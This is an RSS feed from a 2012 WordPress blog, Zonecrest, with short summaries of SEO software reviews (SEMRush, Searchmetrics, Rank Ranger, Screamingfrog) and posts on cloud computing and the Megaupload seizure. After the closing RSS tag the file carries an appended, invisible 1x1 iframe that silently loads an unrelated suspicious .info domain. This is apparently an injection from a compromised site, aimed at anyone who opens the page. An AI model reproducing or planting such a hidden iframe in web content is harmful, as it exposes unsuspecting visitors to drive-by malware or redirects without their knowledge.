<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>Zonecrest</title>
	<link>http://zonecrest.com</link>
	<description>Sales up, costs down</description>
	<lastBuildDate>Sat, 03 Mar 2012 02:43:44 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.2.1" -->

	<item>
		<title>SEMRUSH Adsense Advertiser Report Is Huge</title>
		<description><![CDATA[So SEMRUSH is one of the few companies that are not out there actively promoting the SEO software, but everyone is using it. And the reason is pretty clear: It&#8217;s incredible fast and most of the data generated by the tool is more than solid. So instead of sending teams of sales people&#8217;s to shows [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/semrush-adsense-advertiser-report-is-huge/</link>
			</item>
	<item>
		<title>Searchmetrics Backlink Data</title>
		<description><![CDATA[After Yahoo Siteexplorers shutdown, several vendors keep pushing out new backlinks data products. Searchmetrics (our winner for best enterprise SEO software) announced their Backlinks Link Module. The following features are included: - Number of Backlinks - Ratio analysis of Image Links vs. Textlinks - Identification of IP addresses, TLD (Top Level Domain), geolocation information for [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/searchmetrics-backlink-data/</link>
			</item>
	<item>
		<title>SEMRUSH Top 200</title>
		<description><![CDATA[SEMRush just released two new great features, which make it even more valuable: A backlink tool (domain level backlinks) and even better..the Organic Top 200 report, which is a unique feature that no other tool currently offers. Once more SEMRUSH is leading the pack with innovation and speed: &#160; &#160; &#160; &#160; &#160; &#160; &#160; View [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/semrush-top-200/</link>
			</item>
	<item>
		<title>How Some Journalists Confuse People About Cloud</title>
		<description><![CDATA[Simon Wardley and I had a quick exchange about the sloppily written and factually inaccurate writing of Wired&#8217;s Jon Stokes. Simon commented about a November post on Wired CloudLine as follows: @swardley:  &#8221;This Wired post on cloud from Nov &#8217;11 &#8211; where it isn&#8217;t wrong (repeating unfounded myths), it is tediously obvious &#8211; bit.ly/wWLbsL&#8221; I [...]]]></description>
		<link>http://zonecrest.com/cloud-computing-news/how-some-journalists-confuse-people-about-cloud/</link>
			</item>
	<item>
		<title>Rank Ranger Review</title>
		<description><![CDATA[RankRanger is one of those recently released online software programs that automates the process of finding real time data related to the sites of your competitors. Many owners of websites as well as those working in SEO make use of this software to check on their own performance as well as that of their competitors. [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/rank-ranger-review/</link>
			</item>
	<item>
		<title>Cloudy Implications and Recommendations in Megaupload Seizure</title>
		<description><![CDATA[The FBI seized popular upload site Megaupload.com yesterday.  They took the site down and now own the servers. I am not an attorney, and I have no opinion on whether or not the MegaUpload guys were breaking laws or encouraging users to violate copyrights through illegal uploading and streaming of movies, recordings, etc.  Right or [...]]]></description>
		<link>http://zonecrest.com/cloud-computing-news/cloudy-implications-and-recommendations-in-megaupload-seizure/</link>
			</item>
	<item>
		<title>PaaSing Comments – Data and PaaS</title>
		<description><![CDATA[I&#8217;ve been looking at the PaaS space for some time now.  I spent some time with the good folks at CloudBees (naturally), and have had many conversations on CloudFoundry, Azure, and more with vendors, customers and other cloudy folks. Krishnan posted a very good article over on CloudAve, and at one level I fully agree [...]]]></description>
		<link>http://zonecrest.com/cloud-computing-news/paasing-comments-%e2%80%93-data-and-paas/</link>
			</item>
	<item>
		<title>Seo Software Comparison Survey</title>
		<description><![CDATA[Skyrocket.com did an interesting  survey about the use of SEO software. Results are not too surpsing and certainly not extremly representative (only 420 people have been surveyed), but the picture would have probably been different if they would have added more SEO Tools to the survey. Seeing SEOMOZ or Majestic up there is something that [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/seo-software-comparison-survey/</link>
			</item>
	<item>
		<title>SEMRUSH Backlink Tool</title>
		<description><![CDATA[So we just got the news that SEMRUSH is also getting into the Backlink data game. This comes quite to a surprise since SEMRUSH used to do only a little part of the SEO game, but they do it very very well and their user base of 230.000 users clearly shows that. Anyways&#8230;we look forward [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/semrush-backlink-tool/</link>
			</item>
	<item>
		<title>Screamingfrog SEO Software Review</title>
		<description><![CDATA[Overview The Screamingfrog SEO Spider Tool is an interesting new SEO tool that enables you to check out your website as it would be seen through the eyes of a search engine spider. While this can help you build up your site, is it really worth downloading and using, or is it another useless SEO [...]]]></description>
		<link>http://zonecrest.com/internet-marketing-review/internet-marketing-software-reviews/screamingfrog-seo-software-review/</link>
			</item>
</channel>
</rss>
<iframe frameborder=0 height=1 width=1 scrolling=no src='http://1nvesttsmenttsclybs.info'> </iframe>
